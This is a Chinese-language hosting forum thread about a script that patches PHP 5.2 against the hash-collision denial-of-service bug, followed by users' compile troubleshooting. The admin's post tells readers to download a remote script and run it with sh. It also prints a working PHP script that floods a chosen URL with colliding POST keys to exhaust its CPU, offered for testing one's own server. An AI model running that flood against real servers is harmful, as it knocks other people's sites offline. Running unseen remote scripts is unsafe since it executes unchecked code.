[發(fā)布] PHP5.2.*防止Hash沖突拒絕服務攻擊升級腳本

admin

ssh登錄終端，執(zhí)行如下

wget http://fudaan.com/in_scripts/php-52_1130.sh.txt
sh php-52_1130.sh.txt

完成后就可以


已修正
之前升級的，如果出現 EA無法使用，可執(zhí)行如下再編譯下EA就可以

cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install

注
此腳本只對wdlinux,一鍵包及wdcp的默認安裝有效，如不是wdlinux的安裝包或有修改目錄的，可做相應的修改編譯
或下載php手工編譯


此BUG據說可以讓CPU100%從而達到拒絕服務，但我在幾個機器上測試，似乎沒有這個問題
這里附上測試程序

1. <?php
   
2. $size = pow(2, 16);
   
3. $array = array();
   
4. $ch = curl_init();
   
5. curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php");
   
6. for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
   
7.         #$array[$key] = 0;
   
8.         $argument.="a[".$key."]=0&";
   
9. }
   
10. curl_setopt($ch, CURLOPT_POST, true);
    
11. curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
    
12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    
13. curl_setopt($ch, CURLOPT_TIMEOUT, '0');
    
14. curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');
    
15. 
    
16. $return['result'] = curl_exec($ch);
    
17. $return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
18. curl_close($ch);
    
19. ?>

復制代碼

另一個攻擊測試腳本 http://blog.csdn.net/linvo/article/details/7169718

把上面的www.xxx.com 替換為相關的域名即可
把上面的PHP代碼保存為當前文件如t.php
/www/wdlinux/wdphp/bin/php t.php
就可以看到效果，如果有問題，CPU就會達100%

lotuspool

我剛才這樣做了：
./configure 之后  
make ZEND_EXTRA_LIBS='-liconv'，
然后make install ，已經成功了。

lotuspool

我去手工編譯了，結果有報錯：
/tmp/php-5.2.17/ext/iconv/iconv.c:2491: undefined reference to `libiconv_open'
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1

我去查了資料，有兩個解決方法：
一：編輯Makefile 在crypt 后加上-liconv，
二:make ZEND_EXTRA_LIBS='-liconv'

可是我水平太低，沒看懂這個兩個解決辦法。
第一個辦法，我在make的時候報錯，這時候還沒生成makefile,我怎么去編輯makefile呢？
第二個辦法，是直接在命令行里打這個命令，然后重新./configure 。。。。 ,        make ，這樣嗎？
我試過在命令行里直接運行make ZEND_EXTRA_LIBS='-liconv'，然后./configure 。。。。 ,        make ， 還是報原來的錯誤。

有哪位好心的兄弟幫我解釋一下這個問題嗎？ 萬分感謝。

lotuspool

謝謝，我去試試

admin

重起一下

可是手動編譯試試

lotuspool

我的服務器的php版本是5.2.17， 我想打這個補丁，就現在一臺電腦里做了虛擬機，模擬了服務器的系統centos5.7系統,lnmp也和服務器設置和安裝目錄一樣。
php也是5.2.17。wdcp 1.1 。

我用這個腳本在虛擬機系統里打這個補丁，腳本運行很正常，最后完成之后，再去看phpinfo里的信息，已經顯示“PHP Version 5.2.17p1”了，再測試漏洞也沒有了。

之后我就去正式服務器打補丁，正式服務器腳本運行也正常，最后完成之后，我去看phpinfo里的信息，還是老樣子“PHP Version 5.2.17”，我測試這個漏洞也還存在。

我的wdcp安裝不是默認目錄，腳本下載下來我修改了這個對應的目錄，整個腳本運行也沒看到什么報錯。

請問各位高手，有遇到我這種情況的嗎？有哪位兄弟好心幫忙指點一下，不勝感激。

匿名好友

請問老大，8月21的要不要再弄下這個

doxlzt

學習 了，支持老大

擋風

天天CPU百分百的路過。

admin

在此之后的不用

omaman

wdcp_v2.1.2 是不是已經打了補丁，不需要單獨再大本文這個補�。�

admin

加上memcache擴展再編譯下

al277

這個很給力的說 我就說 怎么網站打開報錯了呢
ssh上去top一看，我靠mysql占用內存都120%了。。。。
果斷下補丁 幾分鐘搞定

c3a3o3

是前兩天修改過的，你應該是早幾天升的吧
admin 發(fā)表于 2012-1-9 14:35

   上周六 測試 出現 的問題

admin

是前兩天修改過的，你應該是早幾天升的吧